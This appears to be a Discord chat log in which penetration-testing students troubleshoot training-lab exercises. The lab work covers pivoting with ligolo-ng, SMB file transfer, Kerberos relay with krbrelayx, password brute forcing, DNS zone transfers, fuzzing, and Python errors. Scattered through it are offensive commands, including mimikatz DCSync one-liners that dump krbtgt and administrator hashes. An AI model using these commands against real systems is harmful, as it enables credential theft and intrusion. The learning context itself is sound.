astral inlet
#

again : if it shows 2 , and 1 its not, what could it be ?

karmic dagger
indigo locust
#

I was trying to use the resources/steps given through module

indigo locust
astral inlet
#

every module relys on the modules before, like password lists can be mutated etc

remote latch
#

or ur talking about the different parts in a module?

astral inlet
#

it was general not specific 🙂

remote latch
#

but previous module like?

#

wdym by previous module

#

personally what i think as previous module is for example advanced XXS and the module before is intro to web attacks

#

but idk what you mean

astral inlet
#

ah ok i was talking about pathes

analog dock
remote latch
analog dock
#

But it’s best to keep good notes, also with users/passwords

remote latch
astral inlet
#

true 🙂

analog dock
#

You won’t remember everything

remote latch
remote latch
astral inlet
#

notetaking is very important

analog dock
#

So if you have good notes, you can reference them later

#

Very helpful

remote latch
#

imma try it tho

astral inlet
#

you need to 🙂

analog dock
remote latch
shut quest
# remote latch but previous module like?

Some modules like attacking AD requires that you know some fundamentals and will list it in the module overview

Introduction To Active Directory
Linux Fundamentals
Windows Fundamentals
Setting Up
Getting Started
File Transfers
Pivoting, Tunneling, and Port Forwarding
upbeat dragon
# shut quest That's the one I used

In my opinion, the bloodhound uploaded a corrupted .zip because it aint working, i got the last question which is suppose to be the hardest one... idk, im mentally drained at this point

astral inlet
#

did you find the guy with "b" ?

fathom pendant
misty bough
#

My "spawn machine" button is greyed out

#

anyone got a fix?

fathom pendant
misty bough
#

ok

compact patrolBOT
fathom pendant
#

if it's greyed out; simple question would be "are you connected to the vpn"

upbeat dragon
remote latch
#

tier 3?

fathom pendant
#

tier 2

remote latch
#

fair enough

fathom pendant
#

AD enum and attacks is included in the CPTS path

remote latch
#

no shit you need fundamentals for higher ranks

fathom pendant
#

which does not contain any modules above tier 2

remote latch
#

thats how getting better works

#

gotta walk before you can run

fathom pendant
#

As a wise man once said "Reading the card, explains the card"

karmic dagger
shut quest
upbeat dragon
#

Sharphound used, its the same i guess?

astral inlet
#

send me a screnshot via dm if you like

shut quest
#

And you exported all into a zip and uploaded that zip?

upbeat dragon
#

Exactly, sharphound when executed creates the .zip, feed to bloodhound and that..

fathom pendant
#

honestly having a basic checklist for some services is useful

  • FTP
  • can I log in as anon
  • if so what can I get
patent oak
#

I was brute forcing SMB pass there and got nothing the first time but a hit the second time with the same list. Is this something I should plan for? As in run it twice with every list? I wasted a lot of time there.

lusty thicket
patent oak
#

Time for Starlink

karmic dagger
fathom pendant
marsh echo
cedar void
# limber river not the .zip just the binary .exe file

What file transfer method did you use to transfer agent.exe from your pwnbox to your windows machine?

I used the smbserver method ...but it has not been working for me.

I tried 'xcopy' this time when copyng ....but its shows zero file has been transfered over. my agent.exe file is in the right directory too.

sudo python3 /usr/local/bin/smbserver.py -smb2support CompData /home/htb-ac-767577/ligolo-ng/agent.exe

net use \10.10.15.83\CompData

xcopy \10.10.15.83\CompData\agent.exe C:\windows\temp\agent.exe

limber river
buoyant void
tranquil axle
limber river
astral inlet
#

remmina can do it too

#

i use it all the time

brittle crest
#

Crack Passwords with Hashcat: Cracking WPA/WPA2 > Question 1: is anyone else getting this error when they run make && make install?
cc -O3 -Wall -Wextra -Wpedantic -std=gnu99 -MMD -MF .deps/hcxpcapngtool.d -o hcxpcapngtool hcxpcapngtool.c -lssl -lcrypto -lz -DVERSION_TAG="6.3.2-53-g2836d94" -DVERSION_YEAR="2024" -DWANTZLIB
hcxpcapngtool.c:27:10: fatal error: openssl/core.h: No such file or directory
27 | #include <openssl/core.h>
| ^~~~~~~~~~~~~~~~
compilation terminated.
make: *** [Makefile:96: hcxpcapngtool] Error 1

I have already tried updating/upgrading and I'm using the pwnbox. I should probably just switch over to my VM but this seemed like the quicker option

misty bough
#

anyone know why my spawn machine is greyed out

fathom pendant
karmic dagger
fathom pendant
topaz moon
#

hey guys how can i access my network or at least my pc from another city ??

fathom pendant
topaz moon
fathom pendant
topaz moon
#

ok thanks

karmic dagger
# fathom pendant Why not another service. You don't need nmap for enumerating username

I tried to find smtp users using smtp-user-enum with no results. I found an email address in the nmap output, figured that was the user I needed and tried to brute force ftp, smtp, and mysql with hydra with no results. When I tried using hydra for mysql, I received an error saying there were too many connections. I used a mutated password list and got the same results. I saw in a previous post that ftp was a dead end for hydra, so I am trying to avoid a rabbit hole. I also used Medusa from the previous modules to try to find the password which didn't pan out either.

rustic sage
#

Hello, I have a problem with the student subscription, I already paid the subscription 1 day ago and it has not yet been activated

fathom pendant
#

You might need to play with some of the values

fathom pendant
astral inlet
marsh echo
#

1

astral inlet
#

Download the file flag.txt from the web root using Python from the Pwnbox. Submit the contents of the file as your answer.

rustic sage
fathom pendant
#

The support staff do not monitor the discord

rustic sage
#

thx

astral inlet
#

let me fire it up and try

marsh echo
astral inlet
#

flag.txt 100%[===================>] 33 --.-KB/s in 0s

dim rampart
#

how can i hack wifi

astral inlet
patent niche
#

Sorry about this question but how would I transfer the file to a VM target

Download additional_samples.zip from this module's resources (available at the upper right corner) and transfer the .zip file to this section's target

fathom pendant
raven lagoon
#

and aircrack-ng

fathom pendant
#

Then wget {paste}

#

Alternatively most vms have methods to transfer from host to vm

astral inlet
#

||wget 10.129.33.70/flag.txt|| @marsh echo

marsh echo
marsh echo
raven lagoon
#

maybe you didnt specified the port

astral inlet
#

its port 80

raven lagoon
#

oh

marsh echo
#

no need even spceifying the port didn't work

astral inlet
#

but tbh i do not know why its "python" in the question

marsh echo
#

and by default wget takes port 80 if I'm not mistaken

raven lagoon
#

i didnt read all i was assuming that you had to wget the python http server

marsh echo
astral inlet
#

it´s probably meant so

marsh echo
#

but in the question we don't have access to the target

#

the http.server is done once on the target

dim rampart
patent niche
tranquil axle
astral inlet
#

i hope we will not need it @cpts 😉

#

but file transfer is mandatory

marsh echo
#

i hope too😭

marsh echo
royal sigil
#

anyone know why i have this (skill assesement website , Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?

royal sigil
#

login brute forcing

autumn palm
#

Anyone know why I am getting this error in the Kerberos Module?

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
Traceback (most recent call last):
  File "/home/htb-ac-722940/krbrelayx/dnstool.py", line 610, in <module>
    main()
  File "/home/htb-ac-722940/krbrelayx/dnstool.py", line 532, in main
    record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp))
  File "/home/htb-ac-722940/krbrelayx/dnstool.py", line 256, in get_next_serial
    res = dnsresolver.resolve(zone, 'SOA',tcp=tcp)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 1030, in resolve
    (request, answer) = resolution.next_request()
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 584, in next_request
    raise NXDOMAIN(qnames=self.qnames_to_try,
dns.resolver.NXDOMAIN: The DNS query name does not exist: INLANEFREIGHT.LOCAL.```
#
# Your system has configured 'manage_etc_hosts' as True.
# As a result, if you wish for changes to this file to persist
# then you will need to either
# a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl
# b.) change or remove the value of 'manage_etc_hosts' in
#     /etc/cloud/cloud.cfg or cloud-config from user-data
#
127.0.1.1 upcloud-capture-droplet upcloud-capture-droplet
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

127.0.0.1 localhost
127.0.1.1 htb-c7nmbyteb8 htb-c7nmbyteb8.htb-cloud.com
10.129.205.35    dc01.inlanefreight.local
fathom pendant
autumn palm
#
# Your system has configured 'manage_etc_hosts' as True.
# As a result, if you wish for changes to this file to persist
# then you will need to either
# a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl
# b.) change or remove the value of 'manage_etc_hosts' in
#     /etc/cloud/cloud.cfg or cloud-config from user-data
#
127.0.1.1 upcloud-capture-droplet upcloud-capture-droplet
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

127.0.0.1 localhost
127.0.1.1 htb-c7nmbyteb8 htb-c7nmbyteb8.htb-cloud.com
10.129.205.35    inlanefreight.local
10.129.205.35    dc01.inlanefreight.local
#

Throws the same error.

fathom pendant
#

Also is the DC on the same ip?

#

Aka is the target ip the dc?

royal sigil
fathom pendant
#

I saw your reply

#

I haven't done this module so I can't offer insight

#

Maybe the target died

royal sigil
#

ok

autumn palm
#

I managed to fix the error by just providing the IP of the DNS server directly. I don't know why it doesn't work when the DNS server IP is added directly to /etc/hosts. However I now get this error... ```
sudo python krbrelayx.py -p C@lluMDIXON
<SNIP>
[] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[
] Running in unconstrained delegation abuse mode using the specified credentials.
[] Setting up SMB Server
[
] Setting up HTTP Server on port 80
[*] Setting up DNS Server
Exception in thread Thread-2:

[] Servers started, waiting for connections
Traceback (most recent call last):
File "/usr/lib/python3.9/threading.py", line 954, in _bootstrap_inner
self.run()
File "/usr/local/lib/python3.9/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 539, in run
self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)
File "/usr/local/lib/python3.9/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 45, in init
socketserver.TCPServer.init(self,server_address, RequestHandlerClass)
File "/usr/lib/python3.9/socketserver.py", line 452, in init
self.server_bind()
File "/usr/lib/python3.9/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
[
] SMBD: Received connection from 10.129.205.35
[-] Could not find the correct encryption key! Ticket is encrypted with keytype 23, but keytype(s) were supplied
[] SMBD: Received connection from 10.129.205.35
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[
] SMBD: Received connection from 10.129.205.35
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

fathom pendant
tranquil axle
autumn palm
#

It doesn't appear we're ever given the hash for the callum.dixon account anywhere in the challenge description.

tranquil axle
#

Which module is it?

autumn palm
tranquil axle
autumn palm
#

good question.

karmic dagger
tranquil axle
#

I did. this section 2 days ago or so and I can’t even tell you how I did it anymore lol. But your method works too

heavy marsh
#

I rdp-ed into the AD Skills Assessment 2 machine and then ran a pth with the mssqlsvc user with an xfreerdp command and am getting this error:

sleek moss
#

dig AXFR @10.129.203.6 inlanefreight.htb why does this fail Target: 10.129.203.6

Life Left: 109 minute(s)

  • 1 Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. attacking common services
#

└──╼ $dig AXFR @10.129.203.6 inlanefreight.htb

; <<>> DiG 9.18.19-1~deb12u1-Debian <<>> AXFR @10.129.203.6 inlanefreight.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
4

heavy marsh
#

Nevemind. I had to look back at the password attack section under "Enable Restriced Admin Mode to Allow PtH"

frosty spade
#

hitting an openssl error with evilwinrm

karmic dagger
heavy marsh
frosty spade
#

Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Error: Exiting with code 1

#

using proxychains

#

@heavy marsh can i dm u

heavy marsh
#

DF001's comment works if I remember correctly

heavy marsh
#

Someone posted this in erratum 10/13/2023 @ 5:31am:

I got some feedback for Module: Password Attacks
Right as the first practice, we should use evil-winrm. At least on my blackarch system this does not work at all out of the box. I get the following error:

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Error: Exiting with code 1

After some googling, I found this: https://forum.manjaro.org/t/openssl-issue-with-ruby-3-0-6p216/147369
It seems to be related to a blacklisting of the MD4 algorithm. You need to modify the file /etc/ssl/openssl.cnf for it to work.
I feel like this should be mentioned in the module.

frosty spade
#

its not allowing me to post screenshots

#

my targets an windows box

heavy marsh
#

There is something you have to do to verify your account so that you can post screenshots

#

I forget how. I remember jumping through a bunch of hoops when I first joined.

#

Edit that OpenSSL config file with the instructions above and try again.

heavy marsh
astral inlet
frosty spade
#

im on attacking enterprize network

#

i added the text to the openssl file and its still erroring out

heavy marsh
#

Oh I'm not there yet. Still in AD

#

I feel like I've got that error before though.

astral inlet
#

i finished ad today

frosty spade
#

i gotta evilwinrm into this box to proceede and keep hitting this error i had lingolo up but it didnt like it so i followed the section and forwarded ports to tunnel into the network but im stuck maybe i should restart with kali on my personal parrot vm at the moment

#

im 99% finished with the cpts path and an error is holding me up not ready for the test due to my lack of report skills but would like to beable to finish this section

astral inlet
#

i use chisel to pivot

#

and changed to my own vm since AD module

frosty spade
#

yeah im on the latest parrot vm not pwnbox only have had luck with ligolo-ng the whole pivoting tunneling module was broken for me and support couldnt help

#

just messaged support the bot told me noones in the office until saturday

astral inlet
#

lol like a real pentest 😄

sleek moss
#

dig AXFR @10.129.203.6 inlanefreight.htb why does this fail Target: 10.129.203.6

Life Left: 109 minute(s)

  • 1 Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. attacking common services
    └──╼ $dig AXFR @10.129.203.6 inlanefreight.htb

; <<>> DiG 9.18.19-1~deb12u1-Debian <<>> AXFR @10.129.203.6 inlanefreight.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
4 do ihave to add the ip to the dns server?

#

in /etc/hosts

olive depot
#

Hmm... I am connect trought openvpn > VMWare kali ... But cant ping the the machine at all? if i go for ifconfig, i can see i am on the same network 10.10.11~? same withi nmap doesnt show anything.. And the site says i am connet can see out/in etc.. I am just stupid today? ^^

heavy marsh
#

Which section talks about mimikatz one-liners?

#

.\mimikatz.exe "lsadump::dcsync /user:inlanefreight\krbtgt" "exit"

#

like that one?

astral inlet
#

AD : credentials probably

heavy marsh
#

Can't find it there

#

I know I read it somewhere

astral inlet
#

no notes ?

heavy marsh
#

not in my notes, found it somewhere else

#

I would like to know whether it is something I should have just figured out on my own or something covered in the modules

#

I just finished AD Skills Assessment Part 2

astral inlet
#

i did too today

heavy marsh
#

Nice!

astral inlet
#

it was quite chaalenging

heavy marsh
#

Yeah, I needed a lot of help

frosty spade
#

congrats that one was hard

heavy marsh
#

If I hadn't got hints like the mimikatz one-liner I would have been so lost!

#

Just trying to figure out where I missed that one

frosty spade
#

youll be using theat methodology going forward

astral inlet
#

AD - section 28

#

@heavy marsh

#

||mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL||

astral inlet
frosty spade
#

the ad part is important study up on it thats what the last couple of modules is and i believe the test also

buoyant void
#

Yeah I finished AD assessment 2 last night and it certainly felt like an achievement. I got stuck in two places but with a nudge in the right direction was able to figure it out. It was fun though

astral inlet
#

how long did it take ?

olive depot
#

Anyone got a clue why my Vmware keep freezing? I¨ve to reboot the whole VM to keep workin' in it ._.

astral inlet
#

newest version ?

buoyant void
# astral inlet how long did it take ?

I started on Friday night around 8 PM and 2 hours in I was stuck at figuring out my next steps with the SQL server, I figured it out and then the target reset on me so I got frustrated and I decided to continue on Saturday then got stuck on a really stupid part where I couldnt figure out how to get to MS01 from SQL01 I spent like 2 hours trying to figure out what I was missing got really angry and took a bit of a break, when I sat back down I instantly figured it out and from there finished the rest in another hour so total about 5 hours. Would've been quicker if I hadn't gotten stuck in that one part

astral inlet
#

if yes go 1 -3 numbers back

sleek moss
#

hi guys for attacking common services i found the subdomains then i used dig to ask for zone files but none of the mwork

astral inlet
#

i needed 8 hrs

olive depot
#

Hmm Vmware 17~

astral inlet
#

VMware® Workstation 17 Pro / 17.0.0 build-20800274 works well

buoyant void
# astral inlet i needed 8 hrs

Honestly I feel like we all probably spend a lot of time just getting stuck in one area and not seeing where to go but once you figure out its not as time consuming

frosty spade
#

make sure your using enough ram ime 2gs isnt enough

astral inlet
#

i think foothold took me 1 hr

olive depot
#

17.5.x its says :3

astral inlet
#

1st user

#

@olive depot this is a known problem step bacj to 17.0

buoyant void
# astral inlet i think foothold took me 1 hr

Oh man I did enumeration with CME for one of the questions and it took forever to complete that was a good chunk of time spent right there doing nothing just waiting for that to finish

astral inlet
#

same here 😄

olive depot
#

Alright ill try reinstall everything

buoyant void
astral inlet
#

and priv esc took me some time, and after it was done ... my head hit the table lol

sleek moss
#

any tips for + 1 Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.

#

attacking common services? i used subbrute and found subdomains then i tried to do zone file transfer with thsoe subdomains for that dns server ip

astral inlet
#

probably add nameserver to etc/hosts

sleek moss
#

what would that change/

#

is it because its vhosting

cedar void
limber river
cedar void
# limber river it's depends on the pivot host

Don't you have to connect to the target host and then run this command on the target host(./agent -connect 10.10.15.83:11601 -ignore-cert’ ...which connects back to the ligolo-ng program on the attack host) and then you would have to figure out with the pivot host is from there

limber river
cedar void
limber river
minor stag
#

I'm stuck on the fuzzing skills assessment. After about an hour trying to fuzz in different ways, I googled a guide, and according to the guide, the syntax I was using that got no results should've given me the answer. I'm currently using: ffuf -w /usr/share/wordlists/seclists/Discover/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.htb/FUZZ -recursion -recursion-depth 1 -e ".php7" -v -fc 403.

lusty thicket
minor stag
#

Nope. It just ended and went back to the prompt.

#

After 175,000 attempts

lusty thicket
#

what does the question say?

minor stag
#

"One of the pages you will identify should say 'You don't have access!'

#

What is the full page URL

#

And the hint is to use recursive fuzzing on the subdomains until I get a hit

toxic knoll
#

Hi, I am new here. By the way, silly question... You typed the filepath to the wordlist correctly in a case sensitive manner right?

minor stag
#

That's one of the three extensions I got from extension fuzzing

lusty thicket
minor stag
#

I've tried all three on all three subdomains

lusty thicket
toxic knoll
#

Oh I know the problem!

#

This happened to me too. Try using the ip address rather than faculty.htb

minor stag
#

It's not a 403 "You don't have access"

toxic knoll
#

You should definitely get a hit back

minor stag
#

It's a page that successfully loads where they've put "You don't have access!" in huge font in html

limber river
minor stag
#

I did

#

Okay, I realize the problem now. User error again. I fuzzed for so long that the target machine despawned.

lusty thicket
toxic knoll
#

It happens 😅

#

By the way, nice to meet you all. Looking forward to annoying you with my newbie questions.

cedar void
# limber river you should be able to read the ipconfig/ifconfig output if you want to do pivoti...

||I saw that I had the local address 127.0.0.1 , 10.129.119.248/16 , and 172.16.6.100/16 (based on the ifconfig output)

I ran the following ping swings and neither listed any of the results:

for i in {1..254} ;do (ping -c 1 172.16.6.$i | grep "bytes from" &);done
for i in {1..254} ;do (ping -c 1 10.129.119.$i | grep "bytes from" &) ;done.

I did the ip route method and it listed some ip addresses
||

opal storm
#

Gamers anyone here can help me with the xss/phishing module? I cannot get the payload to go through

rustic sage
#

how do i get roles to access more channel

lusty thicket
opal storm
severe eagle
#

hey everyone have issues using pypykatz

#

i have had kali machine for while getting issues with deprication egg pypa i think and pip3 install pypykatz gives alot of depriecation errors which i think are giving me errors for lsa mini dump

fathom pendant
#

there's other tools that can dump lsa

#

¯_(ツ)_/¯

severe eagle
#

I tried votility i think it is

#

what other tools can i use to extract passwords from lsass.dmp

#

but votility didnt dump passwords

fathom pendant
#

what tools were showcased in the module/section?

severe eagle
#

i wouldnt mind being able to fix this depreciation issue with python but looks like nightmare online

#

pypykatz i dropped mimikatz on there to try get the passwords or can use sam dumps i imagine but i wanted to use fix this pypykatz and use mimikatz might not always be available

fathom pendant
#

if mimikatz isn't available on the system: make it available

#

¯_(ツ)_/¯

#

also dumps tend to be hashes

#

just one of the few things i found literally only googling "lsa dump"

severe eagle
#

yeah I know but rather use the tool insection

next bronze
severe eagle
#

spewing you know anything about the depreciation fix with python pip

next bronze
#

they store different things

#

pypykatz is the only way to parse lsass dump on linux afaik

fathom pendant
severe eagle
#

na python3

#

i will try python2 now

next bronze
#

yeah python3

severe eagle
#

same issue with python2 deprication

fathom pendant
#

i mean it helps if you say what the actual error is

next bronze
#

your python env is probably messed up, create a new vnev or try installing using pipx

fathom pendant
#

instead of "deprecation error"

severe eagle
#

DEPRECATION: Loading egg at /usr/local/lib/python3.12/site-packages/idna-3.6-py3.12.egg is deprecated. pip 24.3 will enforce this behaviour change. A possible replacement is to use pip for package installation.. Discussion can be found at https://github.com/pypa/pip/issues/12330

fathom pendant
#

because that is a VERY wide net of errors

severe eagle
#

multiple of these and been on github read this column too

#

all relates to 12330 issue

limber river
#

Python errors never ends

severe eagle
#

hahahahha i know nightmare on the discussion

limber river
#

Try to use pipx

next bronze
limber river
#

Or new env

severe eagle
#

pip3 install pypykatz and tried pip install pypykatz relates to pip3

#

trying pipx now

limber river
severe eagle
#

done same issue

#

tried all the basic fixes and tried to fix deprication was hoping someone on here has fixed it

#

tried the kali pypykatz missing bits need pip install pypykatz which goes back to depriaction

#

i guess no one else had this issue with pypykatz?

next bronze
#

it's most probably an issue with your python env

buoyant void
#

I haven't had any issues but I know python can be a real pain in the ass, honestly I've gotten so frustrated with python dependencies to the point where I'll just spin up a new VM just for whatever I'm trying to run that's giving me issues. Probably not the most time efficient way to solve problems but it's worked for me lol

severe eagle
#

yep ok thats my only option think

uncut widget
#

Does the starting point modules not count towards your stats on your profile at all?

buoyant void
severe eagle
#

yeah i didnt really want to do vm fresh boot for a question i wanted to fix python env

#

and get this package going

next bronze
#

it can definitely be fixed but that will have to be up to you

next bronze
buoyant void
#

Yeah fixing the python env is definitely the actual solution

#

Alternatively can't you just try answering this question on the pwnbox? Pypykatz is probably working fine on there

severe eagle
#

yeah i dont have massive knowledge on python environments with libraries i know i have built my own programs in python make stuff easier and gui some things but no idea on enviroments

#

its something to do with the python .egg

#

being discontinueed

next bronze
severe eagle
#

yeah i have been on there earlier and tried the fixes

next bronze
#

what fixes did you try

severe eagle
#

the --use-pep5171

#

pep517

next bronze
severe eagle
#

which is the .egg package

uncut widget
severe eagle
#

thank you guys but yeah i have tried alot of these basic google fixes before coming on here and raided github as well

#

when u try reinstall packages it tells you the deprication error

next bronze
severe eagle
#

lol easy-install is tied to the deprication packages

#

have a read

#

Please if anyone has an answer please try first before posting on here cause most of them I have tried Im very resourceful before asking on here I more ask on here if someone has run into the problem and fixed it themselves holds bit more creditability then a link to page good chance i have read before asking on here

next bronze
#

lol you haven't provied any info on your side and what you have tried

cedar void
# cedar void ||I saw that I had the local address 127.0.0.1 , 10.129.119.248/16 , and 172.16...

||I tried the fping sweep command (fping -asgq 172.16.6.0/16
) and the only result it was showing was 176.16.6.100.

I then tried to do a 'double pivot' and type './agent.exe -connect 172.16.6.100:11601 -ignore-cert
' thinking that it would connect me to MS01(similar to the screenshot that shows MS01 as network C in the example in this link( https://4pfsec.com/ligolo#heading-adding-a-new-route-on-proxy-server) ...but I guess not.||

4pfsec

Using Ligolo-ng to pivot through networks with ease!

next bronze
#

wait aren't you the guy that couldn't figure out a module despite me giving you multiple hints but you wanted the excat steps instead

#

remind me not to help you again kek

severe eagle
#

pip installs pip3 install apt install easy_install get-pip install github version been on redit, github, htb forums, tryhackme forums google links and private chats on other servers seeing if any has come across this and wondered if they fixed it, its a deprication error that affects many packages including CME packages it looks like an issue that comes with python2 to python3 libraries but either way if anyone has had issues with pypykatz running for dump or deprecation issues and have fixed it not a quick google please comment on here

compact halo
#

Attacking Common Services - Attack DNS:
CHallenge quetion says issues:

I am using ./subbrute.py to try and get domains and I get nothing.
my syntax:
./subbrute.py inlanefreight.htb -s names.txt -r resolvers.txt

resolvers.txt has ns1.inlanefreight.htb and idea why the python is throwing an error?

severe eagle
#

Xerous you did this before and posted stuff that i told you i already tried posting google links that are like at the top then telling you yes they do not work so you get upset and say remind me not to help you again....
if you havent come across it or tried to even have look yourself why get upset?

#

I am happy for help but i look at google too, and github, redit, htb forums, tryhackme forums even python forums to find answer before asking but thank you though for the help just I do commmit alot time to solving before asking on here

agile torrent
#

It's very difficult for us to debug when we're told you've tried a general source (ie reddit, github). It'd be a lot more helpful if you instead listed the methods you've found and either why they're not suitable for your situation, or how they didn't work (not 'didnt work', an error message is more helpful).

weak beacon
#

So On the Cracking miscellaneous files and hashes module I submitted the answer from the cracked hash, and it was wrong. So I am over here making hashcat --keep-guessing thinking I got a false positive. I refresh the page and submit it again and it takes it.

agile torrent
agile torrent
#

how long did you spend rechecking it? kek

weak beacon
#

sadglas long enough

#

Like an hour at least lol

compact halo
#

Attacking Common Services - Attack DNS:
CHallenge quetion says issues:

I am using ./subbrute.py to try and get domains and I get nothing.
my syntax:
./subbrute.py inlanefreight.htb -s names.txt -r resolvers.txt

resolvers.txt has ns1.inlanefreight.htb and idea why the python is throwing an error?

can't post pics for some reason

soft cedar
compact halo
# soft cedar Did you add the IP to the vhost file?

yup add ip and inlanefreight.htb to etc hosts and added ns.inlanefreight.htb to resolvers for ./subbrute.py

I did use another command with another wordlist and found some subdomains but the AXFR are not working

compact halo
# soft cedar Did you add the IP to the vhost file?

for sub in $(cat /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt);do dig $sub.inlanefreight.htb @10.129.155.146 | grep -v ';|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done

SO far pulled 3 domains
helpd...
contr...
ns...
found root doing regular dig

soft cedar
compact halo
fathom pendant
#

It's also likely due to the fact you didn't have the ns.inlanefreight.htb in your /etc/hosts file.

#

It can't look something up if it doesn't have a reference

#

It should take ~5-10 minutes at most to start getting info

compact halo
fathom pendant
#

They need to be on separate lines

#

And tbh just the ip is good enough

compact halo
fathom pendant
#

from its frame of reference it thinks that the ip domain is the WHOLE reference